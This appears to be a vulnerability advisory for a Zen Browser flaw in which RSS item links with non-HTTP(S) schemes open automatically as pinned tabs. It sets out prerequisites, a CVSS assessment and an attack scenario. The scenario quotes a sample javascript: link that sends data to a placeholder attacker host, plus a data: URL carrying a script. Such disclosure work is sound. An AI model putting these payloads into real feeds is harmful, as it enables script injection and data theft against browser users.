Zen Browser EUVD-2026-29132

Exploitation requires the following specific, concrete prerequisites: (1) An attacker with high privileges capable of creating or modifying RSS/Atom feed content (e.g., feed publisher account, compromised feed server, or man-in-the-middle position on the feed distribution channel); (2) A victim user subscribed to the attacker-controlled feed using Zen Browser's RSS subscription feature; (3) The attacker injects a non-HTTP(S) URL into an RSS/Atom item link field (the 'item link' element, not the feed URL itself); (4) The victim's browser must have the live-folder manager feature active (the automatic tab creation from feed items). The vulnerability is limited to Zen Browser prior to 1.19.12b and does NOT require the victim to actively click the malicious feed item - tabs are created automatically by the live-folder manager. Authentication is bypassed once the feed is subscribed. The attack does not work against feed URL entry itself, which already validates scheme, only against item links within valid feeds.

Despite the low CVSS score (2.4), the risk assessment reveals a nuanced real-world priority. The CVSS vector (AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N) indicates network-accessible remote attack requiring high privileges and user interaction, with integrity impact only. The high-privilege requirement (PR:H) significantly constrains exploitability - only administrative or very high-privileged users can author feeds that trigger this path. However, the 'UI:R' (user interaction required) is partially misleading: while the user must subscribe to or view a feed, they do not need to actively click the malicious item; the live-folder manager automatically creates pinned tabs from feed items. The attack requires social engineering (feed creation by trusted source or account compromise of a feed publisher). The integrity impact is limited to tab open behavior and potential script context confusion rather than direct code execution or data exfiltration. No EPSS score or KEV status provided; the absence of active exploitation reports combined with the privilege barrier suggests this is low-priority for most deployments unless users actively subscribe to feeds from untrusted or compromised sources. The fix is available and straightforward, making this a 'patch on schedule' rather than 'emergency' issue.

A high-privileged user (system administrator or account with RSS feed creation rights) authors or compromises a shared RSS feed and injects an item with a non-HTTP(S) URL (e.g., 'javascript:void(fetch(attacker.com/steal?data=...))' or 'data:text/html,<script>...') in the item link field. When a regular user subscribes to this feed, Zen Browser's live-folder manager automatically creates pinned tabs from feed items without URL validation. The malicious link is opened as a trusted tab, potentially executing embedded JavaScript or accessing sensitive browser APIs depending on the protocol handler behavior.